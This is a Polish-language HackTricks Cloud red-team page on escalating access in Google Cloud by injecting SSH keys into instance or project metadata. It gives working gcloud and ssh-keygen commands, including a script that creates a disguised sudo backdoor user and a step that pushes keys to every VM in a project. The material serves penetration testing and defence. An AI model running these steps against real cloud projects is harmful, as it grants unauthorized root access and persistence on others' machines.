GCP - Dodaj niestandardowe metadane SSH
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Modyfikacja metadanych
Modyfikacja metadanych na instancji może prowadzić do znaczących zagrożeń bezpieczeństwa, jeśli atakujący zdobędzie niezbędne uprawnienia.
Inkorporacja kluczy SSH do niestandardowych metadanych
Na GCP, systemy Linux często wykonują skrypty z Python Linux Guest Environment for Google Compute Engine. Krytycznym komponentem tego jest demon konta, który jest zaprojektowany do regularnego sprawdzania punktu końcowego metadanych instancji w poszukiwaniu aktualizacji autoryzowanych kluczy publicznych SSH.
Dlatego, jeśli atakujący może modyfikować niestandardowe metadane, może sprawić, że demon znajdzie nowy klucz publiczny, który zostanie przetworzony i zintegrowany z lokalnym systemem. Klucz zostanie dodany do pliku ~/.ssh/authorized_keys istniejącego użytkownika lub potencjalnie stworzy nowego użytkownika z uprawnieniami sudo, w zależności od formatu klucza. A atakujący będzie mógł przejąć kontrolę nad hostem.
Dodaj klucz SSH do istniejącego uprzywilejowanego użytkownika
- Zbadaj istniejące klucze SSH na instancji:
- Wykonaj polecenie, aby opisać instancję i jej metadane, aby zlokalizować istniejące klucze SSH. Odpowiednia sekcja w wynikach będzie pod
metadata, a konkretnie kluczemssh-keys.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- Zwróć uwagę na format kluczy SSH: nazwa użytkownika poprzedza klucz, oddzielona dwukropkiem.
- Przygotuj plik tekstowy dla metadanych klucza SSH:
- Zapisz szczegóły nazw użytkowników i ich odpowiadających kluczy SSH w pliku tekstowym o nazwie
meta.txt. To jest istotne dla zachowania istniejących kluczy podczas dodawania nowych.
- Wygeneruj nowy klucz SSH dla docelowego użytkownika (
alicew tym przykładzie):
- Użyj polecenia
ssh-keygen, aby wygenerować nowy klucz SSH, upewniając się, że pole komentarza (-C) odpowiada docelowej nazwie użytkownika.
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- Dodaj nowy klucz publiczny do
meta.txt, naśladując format znaleziony w metadanych instancji.
- Zaktualizuj metadane klucza SSH instancji:
- Zastosuj zaktualizowane metadane klucza SSH do instancji, używając polecenia
gcloud compute instances add-metadata.
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- Uzyskaj dostęp do instancji za pomocą nowego klucza SSH:
- Połącz się z instancją za pomocą SSH, używając nowego klucza, uzyskując dostęp do powłoki w kontekście docelowego użytkownika (
alicew tym przykładzie).
ssh -i ./key alice@localhost
sudo id
Utwórz nowego uprzywilejowanego użytkownika i dodaj klucz SSH
Jeśli nie znaleziono interesującego użytkownika, można stworzyć nowego, któremu nadane zostaną uprawnienia sudo:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
Klucze SSH na poziomie projektu
Możliwe jest rozszerzenie zasięgu dostępu SSH do wielu maszyn wirtualnych (VM) w środowisku chmurowym poprzez zastosowanie kluczy SSH na poziomie projektu. To podejście umożliwia dostęp SSH do każdej instancji w projekcie, która nie zablokowała wyraźnie kluczy SSH na poziomie projektu. Oto podsumowany przewodnik:
- Zastosuj klucze SSH na poziomie projektu:
- Użyj polecenia
gcloud compute project-info add-metadata, aby dodać klucze SSH zmeta.txtdo metadanych projektu. Ta akcja zapewnia, że klucze SSH są rozpoznawane we wszystkich VM w projekcie, chyba że VM ma włączoną opcję “Zablokuj klucze SSH na poziomie projektu”.
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- SSH do instancji za pomocą kluczy na poziomie projektu:
- Mając klucze SSH na poziomie projektu, możesz połączyć się SSH z dowolną instancją w projekcie. Instancje, które nie blokują kluczy na poziomie projektu, zaakceptują klucz SSH, przyznając dostęp.
- Bezpośrednią metodą na połączenie SSH z instancją jest użycie polecenia
gcloud compute ssh [INSTANCE]. To polecenie wykorzystuje Twoją bieżącą nazwę użytkownika i klucze SSH ustawione na poziomie projektu, aby spróbować uzyskać dostęp.
Referencje
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

